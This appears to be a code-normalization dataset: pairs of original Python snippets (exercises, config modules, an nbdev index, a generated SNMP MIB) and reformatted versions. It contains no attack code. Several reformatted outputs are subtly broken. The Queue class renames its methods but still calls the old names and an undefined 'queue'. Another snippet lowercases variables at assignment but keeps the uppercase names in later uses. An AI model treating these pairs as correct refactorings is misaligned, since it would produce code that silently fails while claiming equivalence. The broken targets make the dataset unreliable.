return longest_subseq
res = longest_consecutive_subsequence([5, 4, 7, 10, 1, 3, 55, 2, 6])
print(res) |
def value_2_class(value):
if value < 0.33:
return [1, 0, 0]
elif 0.33 <= value < 0.66:
return [0, 1, 0]
else: # I know that he is not necessary the else but I like it
return [0, 0, 1]
| def value_2_class(value):
if value < 0.33:
return [1, 0, 0]
elif 0.33 <= value < 0.66:
return [0, 1, 0]
else:
return [0, 0, 1] |
lista = []
maior = 0
menor = 9 ** 9
maiorn = list()
menorn = list()
while True:
pessoa = [str(input('Nome: ')), float(input('Peso: '))]
lista.append(pessoa[:])
co = str(input('Continuar?[S/N]: '))
if co in 'Nn':
break
for l in lista:
if l[1] >= maior:
if l[1] > maior and l != lista[0]:
maiorn.pop()
maior = l[1]
maiorn.append(l[0])
if l[1] <= menor:
if l[1] < menor and l != lista[0]:
menorn.pop()
menor = l[1]
menorn.append(l[0])
print(f'Maior peso: {maior}Kg de {maiorn}')
print(f'Menor peso: {menor}Kg de {menorn}')
| lista = []
maior = 0
menor = 9 ** 9
maiorn = list()
menorn = list()
while True:
pessoa = [str(input('Nome: ')), float(input('Peso: '))]
lista.append(pessoa[:])
co = str(input('Continuar?[S/N]: '))
if co in 'Nn':
break
for l in lista:
if l[1] >= maior:
if l[1] > maior and l != lista[0]:
maiorn.pop()
maior = l[1]
maiorn.append(l[0])
if l[1] <= menor:
if l[1] < menor and l != lista[0]:
menorn.pop()
menor = l[1]
menorn.append(l[0])
print(f'Maior peso: {maior}Kg de {maiorn}')
print(f'Menor peso: {menor}Kg de {menorn}') |
# all jobs for letters created via the api must have this filename
LETTER_API_FILENAME = 'letter submitted via api'
LETTER_TEST_API_FILENAME = 'test letter submitted via api'
# S3 tags
class Retention:
KEY = 'retention'
ONE_WEEK = 'ONE_WEEK'
| letter_api_filename = 'letter submitted via api'
letter_test_api_filename = 'test letter submitted via api'
class Retention:
key = 'retention'
one_week = 'ONE_WEEK' |
class Queue:
def __init__(self, number_of_queues, array_lenght):
self.number_of_queues = number_of_queues
self.array_length = array_lenght
self.array = [-1] * array_lenght
self.front = [-1] * number_of_queues
self.back = [-1] * number_of_queues
self.next_array = list(range(1, array_lenght))
self.next_array.append(-1)
self.free = 0
def isEmpty(self, queue_number):
return(True if self.front[queue_number] == -1 else False)
def isFull(self, queue_number):
return(True if self.free == -1 else False)
def EnQueue(self, item, queue_number):
if(self.isFull(queue_number)):
print("Queue Full")
return
next_free = self.next_array[self.free]
if(self.isEmpty(queue_number)):
self.front[queue_number] = self.back[queue_number] = self.free
else:
self.next_array[self.back[queue_number]] = self.free
self.back[queue_number] = self.free
self.next_array[self.free] = -1
self.array[self.free] = item
self.free = next_free
def DeQueue(self, queue_number):
if(self.isEmpty(queue_number)):
print("Queue Empty")
return
front_index = self.front[queue_number]
self.front[queue_number] = self.next_array[front_index]
self.next_array[front_index] = self.free
self.free = front_index
return(self.array[front_index])
if __name__ == "__main__":
q = Queue(3, 10)
q.EnQueue(15, 2)
q.EnQueue(45, 2)
q.EnQueue(17, 1)
q.EnQueue(49, 1)
q.EnQueue(39, 1)
q.EnQueue(11, 0)
q.EnQueue(9, 0)
q.EnQueue(7, 0)
print("Dequeued element from queue 2 is {}".format(q.DeQueue(2)))
print("Dequeued element from queue 1 is {}".format(q.DeQueue(1)))
print("Dequeued element from queue 0 is {}".format(q.DeQueue(0))) | class Queue:
def __init__(self, number_of_queues, array_lenght):
self.number_of_queues = number_of_queues
self.array_length = array_lenght
self.array = [-1] * array_lenght
self.front = [-1] * number_of_queues
self.back = [-1] * number_of_queues
self.next_array = list(range(1, array_lenght))
self.next_array.append(-1)
self.free = 0
def is_empty(self, queue_number):
return True if self.front[queue_number] == -1 else False
def is_full(self, queue_number):
return True if self.free == -1 else False
def en_queue(self, item, queue_number):
if self.isFull(queue_number):
print('Queue Full')
return
next_free = self.next_array[self.free]
if self.isEmpty(queue_number):
self.front[queue_number] = self.back[queue_number] = self.free
else:
self.next_array[self.back[queue_number]] = self.free
self.back[queue_number] = self.free
self.next_array[self.free] = -1
self.array[self.free] = item
self.free = next_free
def de_queue(self, queue_number):
if self.isEmpty(queue_number):
print('Queue Empty')
return
front_index = self.front[queue_number]
self.front[queue_number] = self.next_array[front_index]
self.next_array[front_index] = self.free
self.free = front_index
return self.array[front_index]
if __name__ == '__main__':
q = queue(3, 10)
q.EnQueue(15, 2)
q.EnQueue(45, 2)
q.EnQueue(17, 1)
q.EnQueue(49, 1)
q.EnQueue(39, 1)
q.EnQueue(11, 0)
q.EnQueue(9, 0)
q.EnQueue(7, 0)
print('Dequeued element from queue 2 is {}'.format(q.DeQueue(2)))
print('Dequeued element from queue 1 is {}'.format(q.DeQueue(1)))
print('Dequeued element from queue 0 is {}'.format(q.DeQueue(0))) |
hora = float(input('INFORME AS HORAS POR FAVOR: '))
if hora <=11:
print ('BOM DIA!!!')
if hora >= 12 and hora <= 17:
print ('BOA TARDE!!!')
if hora >= 18 and hora <= 23:
print ('BOA NOITE!!!')
print ('OBRIGADO, VOLTE SEMPRE!!!') | hora = float(input('INFORME AS HORAS POR FAVOR: '))
if hora <= 11:
print('BOM DIA!!!')
if hora >= 12 and hora <= 17:
print('BOA TARDE!!!')
if hora >= 18 and hora <= 23:
print('BOA NOITE!!!')
print('OBRIGADO, VOLTE SEMPRE!!!') |
# Your Fitbit access credentials, which must be requested from Fitbit.
# You must provide these in your project's settings.
FITAPP_CONSUMER_KEY = None
FITAPP_CONSUMER_SECRET = None
# The verification code for verifying subscriber endpoints
FITAPP_VERIFICATION_CODE = None
# Where to redirect to after Fitbit authentication is successfully completed.
FITAPP_LOGIN_REDIRECT = '/'
# Where to redirect to after Fitbit authentication credentials have been
# removed.
FITAPP_LOGOUT_REDIRECT = '/'
# By default, don't subscribe to user data. Set this to true to subscribe.
FITAPP_SUBSCRIBE = False
# Only retrieve data for resources in FITAPP_SUBSCRIPTIONS. The default value
# of none results in all subscriptions being retrieved. Override it to be an
# OrderedDict of just the items you want retrieved, in the order you want them
# retrieved, eg:
# from collections import OrderedDict
# FITAPP_SUBSCRIPTIONS = OrderedDict([
# ('foods', ['log/caloriesIn', 'log/water']),
# ])
# The default ordering is ['category', 'resource'] when a subscriptions dict is
# not specified.
FITAPP_SUBSCRIPTIONS = None
# The initial delay (in seconds) when doing the historical data import
FITAPP_HISTORICAL_INIT_DELAY = 10
# The delay (in seconds) between items when doing requests
FITAPP_BETWEEN_DELAY = 5
# By default, don't try to get intraday time series data. See
# https://dev.fitbit.com/docs/activity/#get-activity-intraday-time-series for
# more info.
FITAPP_GET_INTRADAY = False
# The verification code used by Fitbit to verify subscription endpoints. Only
# needed temporarily. See:
# https://dev.fitbit.com/docs/subscriptions/#verify-a-subscriber
FITAPP_VERIFICATION_CODE = None
# The template to use when an unavoidable error occurs during Fitbit
# integration.
FITAPP_ERROR_TEMPLATE = 'fitapp/error.html'
# The default message used by the fitbit_integration_warning decorator to
# inform the user about Fitbit integration. If a callable is given, it is
# called with the request as the only parameter to get the final value for the
# message.
FITAPP_DECORATOR_MESSAGE = 'This page requires Fitbit integration.'
# Whether or not a user must be authenticated in order to hit the login,
# logout, error, and complete views.
FITAPP_LOGIN_REQUIRED = True
# Whether or not intraday data points with step values of 0 are saved
# to the database.
FITAPP_SAVE_INTRADAY_ZERO_VALUES = False
# The default amount of data we pull for each user registered with this app
FITAPP_DEFAULT_PERIOD = 'max'
# The collection we want to recieve subscription updates for
# (e.g. 'activities'). None defaults to all collections.
FITAPP_SUBSCRIPTION_COLLECTION = None
# The default fitbit scope, None defaults to all scopes, otherwise take
# a list of scopes (eg. ["activity", "profile", "settings"])
FITAPP_SCOPE = None
| fitapp_consumer_key = None
fitapp_consumer_secret = None
fitapp_verification_code = None
fitapp_login_redirect = '/'
fitapp_logout_redirect = '/'
fitapp_subscribe = False
fitapp_subscriptions = None
fitapp_historical_init_delay = 10
fitapp_between_delay = 5
fitapp_get_intraday = False
fitapp_verification_code = None
fitapp_error_template = 'fitapp/error.html'
fitapp_decorator_message = 'This page requires Fitbit integration.'
fitapp_login_required = True
fitapp_save_intraday_zero_values = False
fitapp_default_period = 'max'
fitapp_subscription_collection = None
fitapp_scope = None |
# -*- coding: utf-8 -*-
def main():
s = input()[::-1]
w_count = 0
ans = 0
for si in s:
if si == 'W':
w_count += 1
else:
ans += w_count
print(ans)
if __name__ == '__main__':
main()
| def main():
s = input()[::-1]
w_count = 0
ans = 0
for si in s:
if si == 'W':
w_count += 1
else:
ans += w_count
print(ans)
if __name__ == '__main__':
main() |
src = ['board.c']
component = aos_board_component('board_mk3060', 'moc108', src)
aos_global_config.add_ld_files('memory.ld.S')
build_types=""
linux_only_targets="athostapp blink coapapp helloworld http2app id2_app itls_app linkkit_gateway linkkitapp meshapp modbus_demo mqttapp otaapp prov_app tls udataapp udevapp ulocationapp yts"
| src = ['board.c']
component = aos_board_component('board_mk3060', 'moc108', src)
aos_global_config.add_ld_files('memory.ld.S')
build_types = ''
linux_only_targets = 'athostapp blink coapapp helloworld http2app id2_app itls_app linkkit_gateway linkkitapp meshapp modbus_demo mqttapp otaapp prov_app tls udataapp udevapp ulocationapp yts' |
class Config(object):
pass
class Production(Config):
ELASTICSEARCH_HOST = 'elasticsearch'
JANUS_HOST = 'janus'
class Development(Config):
ELASTICSEARCH_HOST = '127.0.0.1'
JANUS_HOST = '127.0.0.1'
| class Config(object):
pass
class Production(Config):
elasticsearch_host = 'elasticsearch'
janus_host = 'janus'
class Development(Config):
elasticsearch_host = '127.0.0.1'
janus_host = '127.0.0.1' |
string = input()
vowels = {'a', 'e', 'i', 'o', 'u'}
v = sum(1 for char in string if char.lower() in vowels)
print(v, len(string)-v)
| string = input()
vowels = {'a', 'e', 'i', 'o', 'u'}
v = sum((1 for char in string if char.lower() in vowels))
print(v, len(string) - v) |
_base_ = [
'../../_base_/models/convnext/convnext-tiny.py',
'./dataset.py',
'./schedule.py',
'./default_runtime.py',
]
custom_hooks = [dict(type='EMAHook', momentum=4e-5, priority='ABOVE_NORMAL')]
model = dict(
type='TextureMixClassifier',
style_weight=1.5,
content_weight=0.5,
mix_lr=0.03,
mix_iter=15,
backbone=dict(
type='ConvNeXtTextureMix',
),
head=dict(
num_classes=20,
),
)
# model = dict(
# pretrained='data/convnext-tiny_3rdparty_32xb128-noema.pth',
# head=dict(
# num_classes=20,
# ),
# backbone=dict(
# frozen_stages=4,
# ),
# )
| _base_ = ['../../_base_/models/convnext/convnext-tiny.py', './dataset.py', './schedule.py', './default_runtime.py']
custom_hooks = [dict(type='EMAHook', momentum=4e-05, priority='ABOVE_NORMAL')]
model = dict(type='TextureMixClassifier', style_weight=1.5, content_weight=0.5, mix_lr=0.03, mix_iter=15, backbone=dict(type='ConvNeXtTextureMix'), head=dict(num_classes=20)) |
N = int(input())
X = input().split()
for i in range(N):
X[i] = int(X[i])
minimum = min(X)
result = X.index(minimum) + 1
print(result)
| n = int(input())
x = input().split()
for i in range(N):
X[i] = int(X[i])
minimum = min(X)
result = X.index(minimum) + 1
print(result) |
def generate(event, context):
print(event)
response = {
"statusCode": 200,
"body": "this worked"
}
return response | def generate(event, context):
print(event)
response = {'statusCode': 200, 'body': 'this worked'}
return response |
__title__ = 'Voice Collab'
__description__ = "Let's harness the power of voice to collaborate and interact with your code and the people you work with"
__email__ = "santhoshkdhana@gmail.com"
__author__ = 'Santhosh Kumar'
__github__ = 'https://github.com/Santhoshkumard11/Voice-Collab'
__license__ = 'MIT'
__copyright__ = 'Copyright @2022 - Santhosh Kumar'
| __title__ = 'Voice Collab'
__description__ = "Let's harness the power of voice to collaborate and interact with your code and the people you work with"
__email__ = 'santhoshkdhana@gmail.com'
__author__ = 'Santhosh Kumar'
__github__ = 'https://github.com/Santhoshkumard11/Voice-Collab'
__license__ = 'MIT'
__copyright__ = 'Copyright @2022 - Santhosh Kumar' |
# IBM Preliminary Test
direction,floor,floor_requests,z = input(),int(input()),sorted(list(map(int,input().split())),reverse=True),0
if(floor_requests[-1]>=0 and floor_requests[0]<=15 and (direction=="UP" or direction=="DN")):
while(floor_requests[z]>floor): z+=1
print(*(floor_requests[:z][::-1]+floor_requests[z:]),sep="\n") if(direction=="UP") else print(*(floor_requests[z:]+floor_requests[:z][::-1]),sep="\n")
else: print("Invalid") | (direction, floor, floor_requests, z) = (input(), int(input()), sorted(list(map(int, input().split())), reverse=True), 0)
if floor_requests[-1] >= 0 and floor_requests[0] <= 15 and (direction == 'UP' or direction == 'DN'):
while floor_requests[z] > floor:
z += 1
print(*floor_requests[:z][::-1] + floor_requests[z:], sep='\n') if direction == 'UP' else print(*floor_requests[z:] + floor_requests[:z][::-1], sep='\n')
else:
print('Invalid') |
sequence = input("Enter your sequence: ")
sequence_list = sequence[1:len(sequence)-1].split(", ")
subset_sum = False
for element in sequence_list:
for other in sequence_list:
if int(element) + int(other) == 0:
subset_sum = True
print(str(subset_sum))
| sequence = input('Enter your sequence: ')
sequence_list = sequence[1:len(sequence) - 1].split(', ')
subset_sum = False
for element in sequence_list:
for other in sequence_list:
if int(element) + int(other) == 0:
subset_sum = True
print(str(subset_sum)) |
# AUTOGENERATED BY NBDEV! DO NOT EDIT!
__all__ = ["index", "modules", "custom_doc_links", "git_url"]
index = {"get_py_files": "01_nbutils.ipynb",
"get_cells_one_nb": "01_nbutils.ipynb",
"write_code_cell": "01_nbutils.ipynb",
"py_to_nb": "01_nbutils.ipynb",
"get_module_text": "01_nbutils.ipynb",
"write_module_text": "01_nbutils.ipynb",
"clear_all_modules": "01_nbutils.ipynb",
"simple_export_one_nb": "01_nbutils.ipynb",
"simple_export_all_nb": "01_nbutils.ipynb",
"get_corr": "02_tabutils.ipynb",
"corr_drop_cols": "02_tabutils.ipynb",
"rf_feat_importance": "02_tabutils.ipynb",
"plot_fi": "02_tabutils.ipynb",
"TabularPandas.export": "02_tabutils.ipynb",
"load_pandas": "02_tabutils.ipynb",
"create": "03_Tracking.ipynb",
"append": "03_Tracking.ipynb",
"delete": "03_Tracking.ipynb",
"print_keys": "03_Tracking.ipynb",
"get_stat": "03_Tracking.ipynb",
"get_stats": "03_Tracking.ipynb",
"print_best": "03_Tracking.ipynb",
"graph_stat": "03_Tracking.ipynb",
"graph_stats": "03_Tracking.ipynb",
"run_bash": "04_kaggle.ipynb",
"update_datset": "04_kaggle.ipynb",
"create_dataset": "04_kaggle.ipynb",
"download_dataset_metadata": "04_kaggle.ipynb",
"download_dataset_content": "04_kaggle.ipynb",
"download_dataset": "04_kaggle.ipynb",
"add_library_to_dataset": "04_kaggle.ipynb",
"bin_df": "05_splitting.ipynb",
"kfold_Stratified_df": "05_splitting.ipynb"}
modules = ["nbutils.py",
"tabutils.py",
"tracking.py",
"kaggle.py",
"splitting.py"]
doc_url = "https://Isaac.Flath@gmail.com.github.io/perutils/"
git_url = "https://github.com/Isaac.Flath@gmail.com/perutils/tree/{branch}/"
def custom_doc_links(name): return None
| __all__ = ['index', 'modules', 'custom_doc_links', 'git_url']
index = {'get_py_files': '01_nbutils.ipynb', 'get_cells_one_nb': '01_nbutils.ipynb', 'write_code_cell': '01_nbutils.ipynb', 'py_to_nb': '01_nbutils.ipynb', 'get_module_text': '01_nbutils.ipynb', 'write_module_text': '01_nbutils.ipynb', 'clear_all_modules': '01_nbutils.ipynb', 'simple_export_one_nb': '01_nbutils.ipynb', 'simple_export_all_nb': '01_nbutils.ipynb', 'get_corr': '02_tabutils.ipynb', 'corr_drop_cols': '02_tabutils.ipynb', 'rf_feat_importance': '02_tabutils.ipynb', 'plot_fi': '02_tabutils.ipynb', 'TabularPandas.export': '02_tabutils.ipynb', 'load_pandas': '02_tabutils.ipynb', 'create': '03_Tracking.ipynb', 'append': '03_Tracking.ipynb', 'delete': '03_Tracking.ipynb', 'print_keys': '03_Tracking.ipynb', 'get_stat': '03_Tracking.ipynb', 'get_stats': '03_Tracking.ipynb', 'print_best': '03_Tracking.ipynb', 'graph_stat': '03_Tracking.ipynb', 'graph_stats': '03_Tracking.ipynb', 'run_bash': '04_kaggle.ipynb', 'update_datset': '04_kaggle.ipynb', 'create_dataset': '04_kaggle.ipynb', 'download_dataset_metadata': '04_kaggle.ipynb', 'download_dataset_content': '04_kaggle.ipynb', 'download_dataset': '04_kaggle.ipynb', 'add_library_to_dataset': '04_kaggle.ipynb', 'bin_df': '05_splitting.ipynb', 'kfold_Stratified_df': '05_splitting.ipynb'}
modules = ['nbutils.py', 'tabutils.py', 'tracking.py', 'kaggle.py', 'splitting.py']
doc_url = 'https://Isaac.Flath@gmail.com.github.io/perutils/'
git_url = 'https://github.com/Isaac.Flath@gmail.com/perutils/tree/{branch}/'
def custom_doc_links(name):
return None |
#
# PySNMP MIB module MITEL-DHCP-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/MITEL-DHCP-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 20:02:56 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueSizeConstraint, ConstraintsIntersection, ConstraintsUnion, SingleValueConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsIntersection", "ConstraintsUnion", "SingleValueConstraint", "ValueRangeConstraint")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
Unsigned32, Counter64, Bits, TimeTicks, enterprises, NotificationType, MibScalar, MibTable, MibTableRow, MibTableColumn, iso, Gauge32, Integer32, Counter32, ObjectIdentity, MibIdentifier, ModuleIdentity, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "Unsigned32", "Counter64", "Bits", "TimeTicks", "enterprises", "NotificationType", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "iso", "Gauge32", "Integer32", "Counter32", "ObjectIdentity", "MibIdentifier", "ModuleIdentity", "IpAddress")
RowStatus, DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "RowStatus", "DisplayString", "TextualConvention")
mitelRouterDhcpGroup = ModuleIdentity((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3))
mitelRouterDhcpGroup.setRevisions(('2005-11-07 12:00', '2003-03-21 12:31', '1999-03-01 00:00',))
if mibBuilder.loadTexts: mitelRouterDhcpGroup.setLastUpdated('200511071200Z')
if mibBuilder.loadTexts: mitelRouterDhcpGroup.setOrganization('MITEL Corporation')
class MitelDhcpServerProtocol(TextualConvention, Integer32):
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))
namedValues = NamedValues(("none", 1), ("bootp", 2), ("dhcp", 3), ("bootp-or-dhcp", 4))
class MitelDhcpServerOptionList(TextualConvention, Integer32):
status = 'current'
subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion(SingleValueConstraint(2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 1))
namedValues = NamedValues(("time-offset", 2), ("default-router", 3), ("time-server", 4), ("name-server", 5), ("dns-server", 6), ("log-server", 7), ("cookie-server", 8), ("lpr-server", 9), ("impress-server", 10), ("resource-location-server", 11), ("host-name", 12), ("boot-file-size", 13), ("merit-dump-file-name", 14), ("domain-name", 15), ("swap-server", 16), ("root-path", 17), ("extension-path", 18), ("ip-forwarding", 19), ("non-local-source-routing", 20), ("policy-filter", 21), ("max-datagram-reassembly", 22), ("default-ip-time-to-live", 23), ("path-MTU-aging-timeout", 24), ("path-MTU-plateau-table", 25), ("interface-MTU-value", 26), ("all-subnets-are-local", 27), ("broadcast-address", 28), ("perform-mask-discovery", 29), ("mask-supplier", 30), ("perform-router-discovery", 31), ("router-solicitation-address", 32), ("static-route", 33), ("trailer-encapsulation", 34), ("arp-cache-timeout", 35), ("ethernet-encapsulation", 36), ("tcp-default-ttl", 37), ("tcp-keepalive-interval", 38), ("tcp-keepalive-garbage", 39), ("nis-domain-name", 40), ("nis-server", 41), ("ntp-server", 42), ("vendor-specific-information", 43), ("netbios-ip-name-server", 44), ("netbios-ip-dgram-distrib-server", 45), ("netbios-ip-node-type", 46), ("netbios-ip-scope", 47), ("x-window-font-server", 48), ("x-window-display-manager", 49), ("nis-plus-domain", 64), ("nis-plus-server", 65), ("tftp-server-name", 66), ("bootfile-name", 67), ("mobile-ip-home-agent", 68), ("smtp-server", 69), ("pop3-server", 70), ("nntp-server", 71), ("www-server", 72), ("finger-server", 73), ("irc-server", 74), ("streettalk-server", 75), ("streettalk-directory-assistance-server", 76), ("requested-ip", 50), ("lease-time", 51), ("option-overload", 52), ("message-type", 53), ("server-identifier", 54), ("parameter-request-list", 55), ("message", 56), ("max-dhcp-message-size", 57), ("renewal-time-value-t1", 58), ("rebinding-time-value-t2", 59), ("vendor-class-identifier", 60), ("client-identifier", 61), ("subnet-mask", 1))
mitel = MibIdentifier((1, 3, 6, 1, 4, 1, 1027))
mitelProprietary = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4))
mitelPropIpNetworking = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4, 8))
mitelIpNetRouter = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1))
mitelIdentification = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 1))
mitelIdCallServers = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 1, 2))
mitelIdCsIpera1000 = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4))
mitelDhcpRelayAgentEnable = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone(2)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpRelayAgentEnable.setStatus('current')
mitelDhcpRelayAgentMaxHops = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 16))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpRelayAgentMaxHops.setStatus('current')
mitelDhcpRelayAgentBroadcast = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpRelayAgentBroadcast.setStatus('current')
mitelDhcpRelayAgentServerTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3), )
if mibBuilder.loadTexts: mitelDhcpRelayAgentServerTable.setStatus('current')
mitelDhcpRelayAgentServerEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpRelayAgentServerAddr"))
if mibBuilder.loadTexts: mitelDhcpRelayAgentServerEntry.setStatus('current')
mitelDhcpRelayAgentServerAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 1), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpRelayAgentServerAddr.setStatus('current')
mitelDhcpRelayAgentServerName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 2), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 16))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpRelayAgentServerName.setStatus('current')
mitelDhcpRelayAgentServerStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 3, 1, 3), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: mitelDhcpRelayAgentServerStatus.setStatus('current')
mitelDhcpServerGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5))
mitelDhcpServerGeneralGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1))
mitelDhcpServerGeneralEnable = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2), ("autoconfig", 3)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerGeneralEnable.setStatus('current')
mitelDhcpServerGeneralGateway = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("this-if-first", 1), ("this-if-last", 2), ("not-this-if", 3)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerGeneralGateway.setStatus('current')
mitelDhcpServerGeneralRefDhcpServer = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 3), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerGeneralRefDhcpServer.setStatus('current')
mitelDhcpServerGeneralPingStatus = MibScalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enable", 1), ("disable", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerGeneralPingStatus.setStatus('current')
mitelDhcpServerSubnetTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2), )
if mibBuilder.loadTexts: mitelDhcpServerSubnetTable.setStatus('current')
mitelDhcpServerSubnetEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerSubnetAddr"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerSubnetSharedNet"))
if mibBuilder.loadTexts: mitelDhcpServerSubnetEntry.setStatus('current')
mitelDhcpServerSubnetAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerSubnetAddr.setStatus('current')
mitelDhcpServerSubnetSharedNet = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 2), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: mitelDhcpServerSubnetSharedNet.setStatus('current')
mitelDhcpServerSubnetMask = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 3), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerSubnetMask.setStatus('current')
mitelDhcpServerSubnetGateway = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("this-if-first", 1), ("this-if-last", 2), ("not-this-if", 3), ("default", 4)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerSubnetGateway.setStatus('current')
mitelDhcpServerSubnetName = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 5), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(1, 16))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerSubnetName.setStatus('current')
mitelDhcpServerSubnetDeleteTree = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: mitelDhcpServerSubnetDeleteTree.setStatus('current')
mitelDhcpServerSubnetStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 2, 1, 7), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: mitelDhcpServerSubnetStatus.setStatus('current')
mitelDhcpServerRangeTable = MibTable((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3), )
if mibBuilder.loadTexts: mitelDhcpServerRangeTable.setStatus('current')
mitelDhcpServerRangeEntry = MibTableRow((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 3, 1), ).setIndexNames((0, "MITEL-DHCP-MIB", "mitelDhcpServerRangeStart"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerRangeEnd"), (0, "MITEL-DHCP-MIB", "mitelDhcpServerRangeSubnet"))
if mibBuilder.loadTexts: mitelDhcpServerRangeEntry.setStatus('current')
